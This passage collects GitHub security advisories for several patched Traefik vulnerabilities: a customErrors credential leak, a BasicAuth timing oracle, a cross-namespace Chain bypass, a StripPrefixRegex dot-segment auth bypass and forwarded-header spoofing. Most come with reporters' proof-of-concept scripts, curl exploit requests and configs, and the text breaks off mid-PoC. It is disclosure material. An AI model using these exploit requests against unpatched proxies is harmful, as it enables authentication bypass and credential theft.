2. Start the two attached helper services customerrorsbackend.py and customerrorserror.py. The backend listens on port 8000 and always returns 500. The error service listens on port 8000 and returns the request method, path, and received headers as JSON. The PoC starts them with the router and middleware labels below so that the business request is handled by the backend, while the error page is fetched from the separate error service:

text traefik.http.routers.audit-customerrors.rule=PathPrefix(/audit-customerrors) traefik.http.routers.audit-customerrors.entrypoints=web traefik.http.routers.audit-customerrors.priority=100 traefik.http.routers.audit-customerrors.service=audit-backend traefik.http.routers.audit-customerrors.middlewares=audit-leak traefik.http.services.audit-backend.loadbalancer.server.port=8000 traefik.http.middlewares.audit-leak.errors.status=500-599 traefik.http.middlewares.audit-leak.errors.service=audit-error traefik.http.middlewares.audit-leak.errors.query=/collect

3. Confirm that Traefik has loaded the route and middleware. The attached customerrorsrouter.json shows that audit-customerrors@docker uses middleware audit-leak@docker, and the attached customerrorsmiddleware.json shows that the middleware is enabled with status 500-599, service audit-error, and query /collect.

4. Send a request containing sensitive credentials through the business route. The manual reproduction used the following request, and the automated PoC sends the same header values:

bash curl -i \ -H 'Authorization: Bearer audit-secret-token' \ -H 'Cookie: sessionid=audit-cookie; theme=dark' \ http://127.0.0.1:28080/audit-customerrors

5. Observe that the backend returns 500, Traefik internally requests /collect from the error service, and the error service receives the original Authorization and Cookie headers. The attached manualcurlcustomerrors.txt response shows the leaked headers directly, and the attached poccustomerrorsheaderleak.output.txt execution log shows the same result from the automated PoC.

Recommendations The default behavior should forward only the minimal context needed to render an error page instead of copying the full original header set with utils.CopyHeaders(pageReq.Header, req.Header). At minimum, Traefik should strip Authorization, Proxy-Authorization, Cookie, Set-Cookie, and common custom authentication headers such as X-Api-Key before issuing the error page request. If operators truly need additional headers, that behavior should be opt-in through an explicit allowlist rather than the default. The documentation should also describe the current behavior and warn that routing an error page to a separate service can otherwise disclose end-user credentials across service boundaries.

PoC The main PoC attachment is poccustomerrorsheaderleak.py.

python import json import os import subprocess import sys import time import urllib.error import urllib.request from pathlib import Path

TARGET = "traefik customErrors sensitive header leak" BASEURL = "http://127.0.0.1:28080" APIBASEURL = "http://127.0.0.1:28180" TRAEFIKCONTAINER = "traefik-openclaw" NETWORK = "" DOCKERIMAGE = "python:3.12-alpine" BACKENDCONTAINER = "traefik-audit-backend" ERRORCONTAINER = "traefik-audit-error" ROUTERNAME = "audit-customerrors" ROUTERPATH = "/audit-customerrors" AUTHORIZATION = "Bearer audit-secret-token" COOKIE = "sessionid=audit-cookie; theme=dark" TIMEOUTSECONDS = 10 ROUTERWAITSECONDS = 20

EVIDENCEDIR = Path(file).resolve().parent BACKENDSCRIPT = EVIDENCEDIR / "customerrorsbackend.py" ERRORSCRIPT = EVIDENCEDIR / "customerrorserror.py"

def runcommand(command): print(f"$ {' '.join(command)}") completed = subprocess.run(command, captureoutput=True, text=True, check=True) stdout = completed.stdout.strip() stderr = completed.stderr.strip() if stdout: print(stdout) if stderr: print(stderr) return stdout

def removecontainer(name): subprocess.run(["docker", "rm", "-f", name], captureoutput=True, text=True)

def detectnetwork(): if NETWORK: return NETWORK

output = runcommand( ["docker", "inspect", TRAEFIKCONTAINER, "--format", "{{json .NetworkSettings.Networks}}"] ) networks = json.loads(output) networknames = sorted(networks.keys()) if not networknames: raise RuntimeError("No docker network found for Traefik container") return networknames[0]

def ensureimage(): runcommand(["docker", "pull", DOCKERIMAGE])

def starterrorcontainer(networkname): runcommand( [ "docker", "run", "-d", "--name", ERRORCONTAINER, "--network", networkname, "-v", f"{ERRORSCRIPT}:/srv/error.py:ro", "-l", "traefik.enable=true", "-l", f"traefik.docker.network={networkname}", "-l", "traefik.http.services.audit-error.loadbalancer.server.port=8000", DOCKERIMAGE, "python", "/srv/error.py", ] )

def startbackendcontainer(networkname): runcommand( [ "docker", "run", "-d", "--name", BACKENDCONTAINER, "--network", networkname, "-v", f"{BACKENDSCRIPT}:/srv/backend.py:ro", "-l", "traefik.enable=true", "-l", f"traefik.docker.network={networkname}", "-l", f"traefik.http.routers.{ROUTERNAME}.rule=PathPrefix({ROUTERPATH})", "-l", f"traefik.http.routers.{ROUTERNAME}.entrypoints=web", "-l", f"traefik.http.routers.{ROUTERNAME}.priority=100", "-l", f"traefik.http.routers.{ROUTERNAME}.service=audit-backend", "-l", f"traefik.http.routers.{ROUTERNAME}.middlewares=audit-leak", "-l", "traefik.http.services.audit-backend.loadbalancer.server.port=8000", "-l", "traefik.http.middlewares.audit-leak.errors.status=500-599", "-l", "traefik.http.middlewares.audit-leak.errors.service=audit-error", "-l", "traefik.http.middlewares.audit-leak.errors.query=/collect", DOCKERIMAGE, "python", "/srv/backend.py", ] )

def fetchjson(url, headers=None): request = urllib.request.Request(url, headers=headers or {}, method="GET") try: response = urllib.request.urlopen(request, timeout=TIMEOUTSECONDS) except urllib.error.HTTPError as exc: response = exc

with response: return json.loads(response.read().decode())

def waitforrouter(): deadline = time.time() + ROUTERWAITSECONDS while time.time() < deadline: try: data = fetchjson(f"{APIBASEURL}/api/rawdata") if f"{ROUTERNAME}@docker" in data.get("routers", {}): return data except Exception: pass time.sleep(1) raise RuntimeError("Timed out waiting for router")

def triggerrequest(): headers = { "Authorization": AUTHORIZATION, "Cookie": COOKIE, } return fetchjson(f"{BASEURL}{ROUTERPATH}", headers=headers)

def validate(responsejson): leakedheaders = responsejson.get("headers", {}) leakedauth = leakedheaders.get("Authorization") leakedcookie = leakedheaders.get("Cookie")

print("Response JSON:") print(json.dumps(responsejson, indent=2, sortkeys=True))

if leakedauth != AUTHORIZATION: raise RuntimeError(f"Authorization not leaked as expected, got: {leakedauth!r}") if leakedcookie != COOKIE: raise RuntimeError(f"Cookie not leaked as expected, got: {leakedcookie!r}")

print("Validation result: error page service received the original Authorization and Cookie.")

def main(): print(f"TARGET={TARGET}") networkname = detectnetwork() print(f"Using docker network: {networkname}")

removecontainer(BACKENDCONTAINER) removecontainer(ERRORCONTAINER)

try: ensureimage() starterrorcontainer(networkname) startbackendcontainer(networkname) waitforrouter() responsejson = triggerrequest() validate(responsejson) finally: removecontainer(BACKENDCONTAINER) removecontainer(ERRORCONTAINER) print("Cleaned up temporary containers.")

if name == "main": try: main() except subprocess.CalledProcessError as exc: if exc.stdout: print(exc.stdout) if exc.stderr: print(exc.stderr, file=sys.stderr) raise

Supporting backend helper used by the PoC, from customerrorsbackend.py:

python from http.server import BaseHTTPRequestHandler, HTTPServer

class Handler(BaseHTTPRequestHandler): def doGET(self): self.sendresponse(500) self.sendheader("Content-Type", "text/plain; charset=utf-8") self.endheaders() self.wfile.write(b"backend forced 500\n")

def logmessage(self, format, args): return

def main(): HTTPServer(("0.0.0.0", 8000), Handler).serveforever()

if name == "main": main()

Supporting error service helper used by the PoC, from customerrorserror.py:

python import json from http.server import BaseHTTPRequestHandler, HTTPServer

class Handler(BaseHTTPRequestHandler): def doGET(self): body = json.dumps( { "method": self.command, "path": self.path, "headers": {key: value for key, value in self.headers.items()}, }, indent=2, sortkeys=True, ).encode() self.sendresponse(200) self.sendheader("Content-Type", "application/json; charset=utf-8") self.sendheader("Content-Length", str(len(body))) self.endheaders() self.wfile.write(body)

def logmessage(self, format, args): return

def main(): HTTPServer(("0.0.0.0", 8000), Handler).serveforever()

if name == "main": main()

Evidence Files customerrorsmiddleware.json proves that the active middleware is the supported errors middleware and that it was configured with status 500-599, service audit-error, and query /collect.

json { "errors": { "status": [ "500-599" ], "service": "audit-error", "query": "/collect" }, "status": "enabled", "usedBy": [ "audit-customerrors@docker" ], "name": "audit-leak@docker", "provider": "docker", "type": "errors" }

customerrorsrouter.json proves that the business router audit-customerrors@docker was enabled on the web entrypoint, routed to audit-backend, and used middleware audit-leak@docker.

json { "entryPoints": [ "web" ], "middlewares": [ "audit-leak@docker" ], "service": "audit-backend", "rule": "PathPrefix(/audit-customerrors)", "priority": 100, "observability": { "accessLogs": true, "metrics": true, "tracing": true, "traceVerbosity": "minimal" }, "status": "enabled", "using": [ "web" ], "name": "audit-customerrors@docker", "provider": "docker", "priorityStr": "100" }

manualcurlcustomerrors.txt proves that a direct request through Traefik caused the separate error service to receive the original Authorization and Cookie values.

text HTTP/1.1 500 Internal Server Error Content-Length: 461 Content-Type: application/json; charset=utf-8 Date: Mon, 13 Apr 2026 13:09:58 GMT Server: BaseHTTP/0.6 Python/3.12.13

{ "headers": { "Accept": "/", "Accept-Encoding": "gzip", "Authorization": "Bearer audit-secret-token", "Cookie": "sessionid=audit-cookie; theme=dark", "Host": "127.0.0.1:28080", "User-Agent": "curl/8.7.1", "X-Forwarded-Host": "127.0.0.1:28080", "X-Forwarded-Port": "28080", "X-Forwarded-Proto": "http", "X-Forwarded-Server": "c231be677a1b", "X-Real-Ip": "172.19.0.1" }, "method": "GET", "path": "/collect" }

poccustomerrorsheaderleak.output.txt is the automated execution log for the Python PoC. The source material provided the following excerpt from that output, which shows the same credential disclosure and the PoC's validation result.

text Response JSON: { "headers": { "Accept-Encoding": "identity", "Authorization": "Bearer audit-secret-token", "Cookie": "sessionid=audit-cookie; theme=dark", "Host": "127.0.0.1:28080", "User-Agent": "Python-urllib/3.14", "X-Forwarded-Host": "127.0.0.1:28080", "X-Forwarded-Port": "28080", "X-Forwarded-Proto": "http", "X-Forwarded-Server": "c231be677a1b", "X-Real-Ip": "172.19.0.1" }, "method": "GET", "path": "/collect" } Validation result: error page service received the original Authorization and Cookie.

Impact Any deployment that uses the supported errors middleware with a separate error page service can silently copy end-user credentials to that second service whenever the configured error status range is triggered. In practice, this means bearer tokens, session cookies, and other custom authentication headers can be disclosed to infrastructure that was never meant to receive them. If the error service is maintained by a different team, shared across tenants, hosted by a third party, or simply logged more broadly than the primary application service, this expands the exposure of valid credentials and can enable unauthorized API access or account compromise depending on what the leaked tokens authorize.

</details>

1 / 2
Source: GitHub
First published (updated )
Severity
7

Traefik is an HTTP reverse proxy and load balancer. Prior to versions 2.11.43, 3.6.14, and 3.7.0-rc.2, there is an authentication bypass vulnerability in Traefik's ForwardAuth middleware when trustForwardHeader=false is configured and Traefik is deployed behind a trusted upstream proxy. This issue has been patched in versions 2.11.43, 3.6.14, and 3.7.0-rc.2.

First published (updated )
Severity
7

Traefik is an HTTP reverse proxy and load balancer. Prior to versions 2.11.43, 3.6.14, and 3.7.0-rc.2, there is a high severity authentication bypass vulnerability in Traefik's StripPrefixRegex middleware when used in combination with ForwardAuth, BasicAuth, or DigestAuth. The middleware matches the regex against the decoded URL path but uses the resulting byte length to slice the percent-encoded raw path. When a dot (or multiple dots) appears in the prefix portion of the URL, the raw path after stripping becomes a dot-segment (e.g. /./admin/secret). ForwardAuth receives this dot-segment path in X-Forwarded-Uri, which does not match the protected path patterns and therefore allows the request through. The backend then normalizes the dot-segment to the real path per RFC 3986 and serves the protected content An unauthenticated attacker can exploit this against any backend that performs dot-segment normalization. This issue has been patched in versions 2.11.43, 3.6.14, and 3.7.0-rc.2.

First published (updated )
Severity
6.3
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

There is a timing side-channel vulnerability in Traefik's BasicAuth middleware that allows an attacker to enumerate valid usernames through response-time differences.

The variable intended to hold a constant-time fallback secret always resolves to an empty string, causing the constant-time comparison to short-circuit in microseconds rather than performing a full bcrypt evaluation. This restores the original timing oracle and makes it possible to distinguish existing users from non-existing ones by measuring authentication response times.

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.43 - https://github.com/traefik/traefik/releases/tag/v3.6.14 - https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2

For more information

If there are any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

BasicAuth Timing Regression: CVE-2026-32595 Fix Is a No-Op Due to Map Key/Value Confusion

TL;DR

The patch for CVE-2026-32595 is a no-op. Line 49 of basicauth.go has a map key/value confusion that makes notFoundSecret always "". The "constant time" fallback calls goauth.CheckSecret(password, ""), which fast-fails in ~1us instead of running bcrypt (~60ms).

Evidence (HEAD 786f7192e, 2026-04-09)

Black-box PoC against live traefik binary on port 28080:

| bucket | n | median | min | |------------------------------|-----|----------|----------| | existing user (wrong pw) | 240 | 62.85 ms | 57.54 ms | | nonexistent user (wrong pw) | 400 | 0.48 ms | 0.35 ms |

Median ratio: 130.4x. Classification: 8/8 correct.

Go in-tree test: goauth.CheckSecret direct ratio 12,746x.

Root cause (4-step trace)

1. basicauth.go:49: users[slices.Collect(maps.Values(users))[0]] -- looks up a hash as a username key, returns "". 2. basicauth.go:119-120: calls goauth.CheckSecret(password, ""). 3. go-http-auth/basic.go:87: empty string matches no prefix, falls to default compareMD5HashAndPassword. 4. basic.go:107-109: bytes.SplitN("", "$", 4) returns length 1, function returns instantly.

Files

- poc/exploit.py -- black-box Python timing oracle - poc/basicauthtimingregressiontest.go -- Go in-tree test - poc/traefik.yml + poc/dynamic.yml -- traefik config - poc/livehttppocoutputhead.txt -- verbatim PoC output on HEAD

Koda Reef

</details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
4.8
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

There is a vulnerability in Traefik's Kubernetes CRD provider cross-namespace isolation enforcement.

When providers.kubernetesCRD.allowCrossNamespace=false, Traefik correctly rejects direct cross-namespace middleware references from IngressRoute objects, but fails to apply the same restriction to middleware references nested inside a Chain middleware's spec.chain.middlewares[]. An actor with permission to create or update Traefik CRDs in their own namespace can exploit this to cause Traefik to resolve and apply middleware objects from another namespace, bypassing the documented isolation boundary.

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.43 - https://github.com/traefik/traefik/releases/tag/v3.6.14 - https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2

For more information

If there are any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary When providers.kubernetesCRD.allowCrossNamespace=false, Traefik still allows a namespace-local Middleware of type Chain to reference middleware objects from another namespace via spec.chain.middlewares[].namespace.

This bypasses the documented cross-namespace restriction and allows an actor with permission to create or update Traefik CRDs in namespace A to bind middleware defined in namespace B to routes in namespace A.

Details Traefik documents allowCrossNamespace as the control that governs whether IngressRoute objects may reference resources in other namespaces.

Direct middleware references from IngressRoute.routes[].middlewares[] are validated in pkg/provider/kubernetes/crd/kuberneteshttp.go by makeMiddlewareKeys(...), which rejects cross-namespace references when allowCrossNamespace is disabled.

However, nested middleware references inside Middleware.spec.chain.middlewares[] follow a different code path. createChainMiddleware(...) in pkg/provider/kubernetes/crd/kubernetes.go does not receive or enforce allowCrossNamespace; it resolves mi.Namespace (or defaults to the current namespace) and appends makeID(ns, mi.Name) unconditionally.

At runtime, pkg/server/middleware/middlewares.go qualifies and builds config.Chain.Middlewares, so the cross-namespace middleware is actually loaded and used.

This was verified on the current master at commit 786f7192e11878dfaa634f8263bf79bb730a71cb.

This appears related to earlier cross-namespace hardening work, but the surviving issue is a distinct nested Chain middleware code path rather than the already-guarded direct reference path.

Expected behavior When providers.kubernetesCRD.allowCrossNamespace=false, any middleware reference that resolves to an object in another namespace should be rejected, whether referenced directly from an IngressRoute or indirectly through a local Chain middleware.

Actual behavior A namespace-local Chain middleware can reference spec.chain.middlewares[].namespace in another namespace, and Traefik resolves and applies that middleware even when cross-namespace references are disabled.

Attacker prerequisites The attacker must have permission to create or update Traefik CRDs in a namespace they control, but does not need permission to modify resources in the target namespace.

PoC 1. Run Traefik with the Kubernetes CRD provider and set allowCrossNamespace: false.

2. Create two namespaces, for example default and cross-ns.

3. Apply a middleware in cross-ns:

yaml apiVersion: traefik.io/v1alpha1 kind: Middleware metadata: name: victim-strip namespace: cross-ns spec: stripPrefix: prefixes: - /secret

4. Apply a chain middleware in default that references the middleware above:

yaml apiVersion: traefik.io/v1alpha1 kind: Middleware metadata: name: mychain namespace: default spec: chain: middlewares: - name: victim-strip namespace: cross-ns

5. Apply an IngressRoute in default that references only the local mychain middleware:

yaml apiVersion: traefik.io/v1alpha1 kind: IngressRoute metadata: name: demo namespace: default spec: entryPoints: - web routes: - match: Host(example.test) && PathPrefix(/demo) kind: Rule middlewares: - name: mychain services: - name: whoami port: 80

6. Observe that Traefik accepts the configuration and resolves the resulting chain to the middleware from cross-ns even though allowCrossNamespace is disabled.

7. As a control, replace the local chain reference in the IngressRoute with a direct cross-namespace middleware reference. That direct reference is rejected when allowCrossNamespace=false, which indicates the bypass is specific to nested Chain middleware resolution.

Impact

This is an authorization / trust-boundary bypass in Traefik's Kubernetes CRD provider.

Clusters that rely on providers.kubernetesCRD.allowCrossNamespace=false for namespace isolation are affected. An actor who is allowed to create or update Traefik CRDs in their own namespace can still cause Traefik to apply middleware from another namespace by referencing it indirectly through a local Chain middleware.

The practical impact depends on which middleware objects exist in the other namespace, but this can allow unauthorized reuse of security-sensitive or policy-bearing middleware across namespace boundaries. Examples include request modification, header manipulation, authentication or forward-auth related behavior, and other traffic-handling policies that were intended to remain namespace-scoped.

Testers have not verified unauthenticated remote compromise, code execution, or universal cross-tenant data exposure. The core issue is that a documented isolation control can be bypassed through the nested Chain middleware reference path.

</details>

1 / 2
Source: GitHub
First published (updated )
Severity
7.8
Path Traversal
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

There is a high severity authentication bypass vulnerability in Traefik's StripPrefixRegex middleware when used in combination with ForwardAuth, BasicAuth, or DigestAuth.

The middleware matches the regex against the decoded URL path but uses the resulting byte length to slice the percent-encoded raw path. When a dot (or multiple dots) appears in the prefix portion of the URL, the raw path after stripping becomes a dot-segment (e.g. /./admin/secret).

ForwardAuth receives this dot-segment path in X-Forwarded-Uri, which does not match the protected path patterns and therefore allows the request through. The backend then normalizes the dot-segment to the real path per RFC 3986 and serves the protected content

An unauthenticated attacker can exploit this against any backend that performs dot-segment normalization.

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.43 - https://github.com/traefik/traefik/releases/tag/v3.6.14 - https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2

For more information

If there are any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary

StripPrefixRegex uses the byte length of a decoded Path match to slice the encoded RawPath. When percent-encoded characters are in the prefix region, this produces a wrong RawPath. ForwardAuth then receives this wrong path in X-Forwarded-Uri, sees a path that doesn't match its protection rules, and approves the request. The backend serves protected content.

### Details

pkg/middlewares/stripprefixregex/stripprefixregex.go, line 62:

go req.URL.RawPath = ensureLeadingSlash(req.URL.RawPath[len(prefix):])

prefix comes from matching the regex against the decoded req.URL.Path (line 51). len(prefix) is then used to index into the encoded req.URL.RawPath. These lengths don't match when percent-encoding is present.

Example with regex ^/api:

- GET /api%20/admin/secret - Decoded Path: /api /admin/secret -> prefix = /api (4 bytes) - Encoded RawPath: /api%20/admin/secret -> same region is 6 bytes - RawPath[4:] = %20/admin/secret -> after ensureLeadingSlash -> /%20/admin/secret - ForwardAuth sees X-Forwarded-Uri: /%20/admin/secret -> not /admin/ -> allows it - Backend serves the protected admin content

PoC

Requires Docker and Docker Compose. I have a setup that runs Traefik v3.6.11 with StripPrefixRegex + ForwardAuth + a backend. It sends a normal request (blocked, 403) and an encoded request (bypasses auth, 200, returns protected data). Can share the files here if useful.

Impact

Auth bypass. Any path protected by ForwardAuth, BasicAuth, or DigestAuth can be accessed without credentials when StripPrefixRegex is in the same middleware chain. The attacker only needs to add a percent-encoded character to the prefix portion of the URL.

---

Updated PoC (reporter follow-up)

After further testing, the confirmed working exploit uses %2e (percent-encoded dot) rather than %20. Dot-segment normalization (/./ -> /) is RFC 3986 standard behavior handled automatically by Express.js, Go's http.ServeMux, Spring Boot, and others — no custom configuration needed.

Chain:

GET /api%2e/admin/secret -> StripPrefixRegex strips /api -> RawPath becomes /./admin/secret -> ForwardAuth sees /./admin/secret -> does not match /admin/ -> allows -> Express normalizes /./admin/secret -> /admin/secret -> serves protected content

Results (Traefik v3.6, unmodified Express.js express.static):

GET /api/admin/secret -> 403 (blocked) GET /api%2e/admin/secret -> 200 (bypass — served protected content) GET /api%20/admin/secret -> 404 (space not normalized by backend)

Auth server logs:

X-Forwarded-Uri: '/admin/secret' -> DENIED X-Forwarded-Uri: '/./admin/secret' -> ALLOWED

Reproduction:

bash docker compose up -d --build --wait curl http://localhost:8080/api/admin/secret # -> 403 curl --path-as-is "http://localhost:8080/api%2e/admin/secret" # -> 200

</details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
7.8
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

There is a high severity authentication bypass vulnerability in Traefik's ForwardAuth and snippet-based authentication middleware. Traefik's forwarded-header sanitization logic targets only canonical header names (e.g., X-Forwarded-Proto) and does not strip or normalize alias variants that use underscores instead of dashes (e.g., XForwardedProto). These unsanitized alias headers are forwarded intact to the authentication backend. When the backend normalizes underscore and dash header forms equivalently, an attacker can inject spoofed trust context — such as a trusted scheme or host — through the alias headers and bypass authentication on protected routes without valid credentials.

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.43 - https://github.com/traefik/traefik/releases/tag/v3.6.14 - https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2

For more information

If there are any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary An authentication bypass arises from chaining two bugs: incomplete forwarded-header sanitization at ingress and overly permissive header forwarding in pre-auth subrequests. While canonical X-Forwarded- headers are handled, alias variants (e.g., underscore forms) are neither normalized nor stripped consistently. When downstream auth services normalize these headers, attackers can inject trusted context and bypass authentication on protected routes without credentials.

Details This issue results from the interaction between forwarded-header handling and auth subrequest construction, creating a trust boundary mismatch.

At ingress, Traefik defines a fixed set of canonical forwarded headers (X-Forwarded-Proto, X-Forwarded-For, etc.):

Reference : pkg/middlewares/forwardedheaders/forwardedheader.go#L29-L36

go var xHeaders = []string{ xForwardedProto, xForwardedFor, xForwardedHost, xForwardedPort,

This logic focuses exclusively on canonical header names and does not account for alias forms such as XForwardedProto. As a result, while standard headers may be sanitized or rewritten, semantically equivalent variants can pass through unchanged.

During ForwardAuth processing, request headers are copied wholesale into the auth subrequest:

Reference : pkg/middlewares/auth/forward.go#L401-L408

go utils.CopyHeaders(forwardReq.Header, req.Header) RemoveConnectionHeaders(forwardReq) utils.RemoveHeaders(forwardReq.Header, hopHeaders...)

This implementation forwards nearly all client-supplied headers to the auth backend, with filtering limited to hop-by-hop headers. There is no normalization or deduplication between canonical and alias header forms, meaning attacker-controlled headers can reach the auth service intact.

A similar pattern exists in snippet-based auth:

Reference : pkg/middlewares/ingressnginx/snippet/snippet.go#L574-L581

go utils.CopyHeaders(forwardReq.Header, req.Header) RemoveConnectionHeaders(forwardReq) utils.RemoveHeaders(forwardReq.Header, hopHeaders...)

Again, headers are forwarded without enforcing a consistent trust model or canonicalization.

The vulnerability emerges when the auth backend normalizes header names (e.g., treating XForwardedProto and X-Forwarded-Proto equivalently). In that case:

- Traefik sanitizes only canonical headers. - Alias headers remain attacker-controlled. - The auth service merges or evaluates these aliases during normalization. - Trust predicates (e.g., scheme = HTTPS, trusted host) are satisfied using spoofed values.

This allows a single crafted request to simultaneously bypass ingress trust enforcement and satisfy authentication checks, resulting in unauthorized access to protected backends.

PoC

1. Configure a protected route using ForwardAuth or snippet-based auth, with an auth backend that normalizes header names (underscore ↔ dash). 2. Send a control request (expected: denied):

http GET / HTTP/1.1 Host: target.local User-Agent: poc-control Connection: close

3. Send an exploit request with alias headers (expected: allowed):

http GET /protected HTTP/1.1 Host: app.example.local XForwardedProto: https XForwardedHost: trusted.example Connection: close

Impact This vulnerability allows unauthenticated attackers to bypass authentication at the proxy-to-auth boundary by injecting spoofed trust context through header aliases. In deployments where authorization decisions depend on forwarded headers, attackers can access protected endpoints and interact with backend services as if they were fully authenticated. This effectively undermines ForwardAuth and similar mechanisms, potentially exposing sensitive internal functionality and data.

Suggested Remediation 1. Strip and regenerate both canonical and alias forms of forwarded headers consistently at ingress and during auth subrequests. 2. Apply a unified normalization policy across all forwarded header families (including RFC7239 and X-Forwarded-). 3. Restrict which headers are forwarded to auth services (prefer explicit allowlists). 4. Add regression tests covering alias normalization inconsistencies across common backend frameworks.

</details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
7.8
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

There is a high-severity authentication bypass vulnerability in Traefik's ForwardAuth middleware when trustForwardHeader=false is configured and Traefik is deployed behind a trusted upstream proxy.

While X-Forwarded- headers (such as X-Forwarded-For, X-Forwarded-Host, and X-Forwarded-Proto) from trusted context are correctly rebuilt, it does not strip or rebuild X-Forwarded-Prefix, leaving any attacker-supplied value intact in the subrequest forwarded to the authentication service.

When the authentication service makes authorization decisions based on X-Forwarded-Prefix, an external attacker can spoof a trusted prefix value and gain unauthorized access to protected backend routes.

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.43 - https://github.com/traefik/traefik/releases/tag/v3.6.14 - https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2

For more information

If there are any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary ForwardAuth with trustForwardHeader=false still forwards an attacker-controlled X-Forwarded-Prefix header to the authentication service when Traefik is deployed behind a trusted upstream proxy. If the auth service relies on X-Forwarded-Prefix for authorization or routing decisions, an external attacker can bypass access controls and reach protected backend routes.

This was validated this against Traefik v3.6.12 using the official Docker image and a minimal local Docker setup. A direct request to Traefik is correctly rejected, but the same request succeeds when sent through a trusted reverse proxy, which shows the issue is in the ForwardAuth subrequest handling rather than general ingress header stripping.

Details The vulnerable behavior comes from the way Traefik builds the subrequest sent to the forward-auth server.

In pkg/middlewares/auth/forward.go, writeHeader first copies all incoming request headers into the auth subrequest:

go func writeHeader(req, forwardReq http.Request, trustForwardHeader bool, allowedHeaders []string) { utils.CopyHeaders(forwardReq.Header, req.Header) ... forwardReq.Header = filterForwardRequestHeaders(forwardReq.Header, allowedHeaders)

It then selectively rebuilds only a subset of forwarded headers when trustForwardHeader=false, for example:

- X-Forwarded-For - X-Forwarded-Method - X-Forwarded-Proto - X-Forwarded-Port - X-Forwarded-Host - X-Forwarded-Uri

However, it does not remove or rebuild X-Forwarded-Prefix, so an attacker-supplied value remains in the auth request even when forwarded headers are supposed to be untrusted.

This becomes security-relevant when StripPrefix is used before ForwardAuth. In pkg/middlewares/stripprefix/stripprefix.go, Traefik appends the stripped prefix using Header.Add:

go func (s stripPrefix) serveRequest(rw http.ResponseWriter, req http.Request, prefix string) { req.Header.Add(ForwardedPrefixHeader, prefix)

If the attacker already sent X-Forwarded-Prefix: /admin, and StripPrefix later adds /forbidden, the auth service receives both values in this order:

1. /admin (attacker-controlled) 2. /forbidden (Traefik-generated)

An auth service that uses the first X-Forwarded-Prefix value can therefore be tricked into authorizing a protected route.

Why this appears unintended:

- The docs say trustForwardHeader means "Trust all X-Forwarded- headers" and defaults to false. - The migration notes say X-Forwarded-Prefix is handled like other X-Forwarded- headers and removed from untrusted sources. - The direct-to-Traefik test case behaves consistently with that expectation and returns 403. - Only the auth subrequest path still honors the spoofed X-Forwarded-Prefix.

Relevant source/documentation locations:

- pkg/middlewares/auth/forward.go lines 393-459 - pkg/middlewares/stripprefix/stripprefix.go lines 65-68 - pkg/middlewares/forwardedheaders/forwardedheader.go lines 15-43 - docs/content/reference/routing-configuration/http/middlewares/forwardauth.md lines 59-62 and 130-140 - docs/content/migrate/v3.md lines 192-196

This was only tested and validated with X-Forwarded-Prefix. By source review, other forwarded headers that are copied but not rebuilt in writeHeader may deserve separate review, but I am not claiming impact for them here.

PoC The following uses the official traefik:v3.6.12 Docker image and a mounted traefik.toml, matching the documented deployment style.

1. Create traefik.toml:

toml [entryPoints] [entryPoints.web] address = ":80" [entryPoints.web.forwardedHeaders] trustedIPs = ["172.31.79.0/24"]

[providers] [providers.file] filename = "/etc/traefik/dynamic.toml" watch = false

[log] level = "DEBUG"

[accessLog]

2. Create dynamic.toml:

toml [http.routers] [http.routers.app] entryPoints = ["web"] rule = "Host(app.local) && PathPrefix(/forbidden)" middlewares = ["strip-forbidden", "authz"] service = "backend"

[http.middlewares] [http.middlewares.strip-forbidden.stripPrefix] prefixes = ["/forbidden"]

[http.middlewares.authz.forwardAuth] address = "http://auth:8000/check" trustForwardHeader = false authResponseHeaders = ["X-Auth-First-Prefix", "X-Auth-All-Prefixes"]

[http.services] [http.services.backend.loadBalancer] [[http.services.backend.loadBalancer.servers]] url = "http://backend:80"

3. Create auth.py:

python import json from http.server import BaseHTTPRequestHandler, HTTPServer

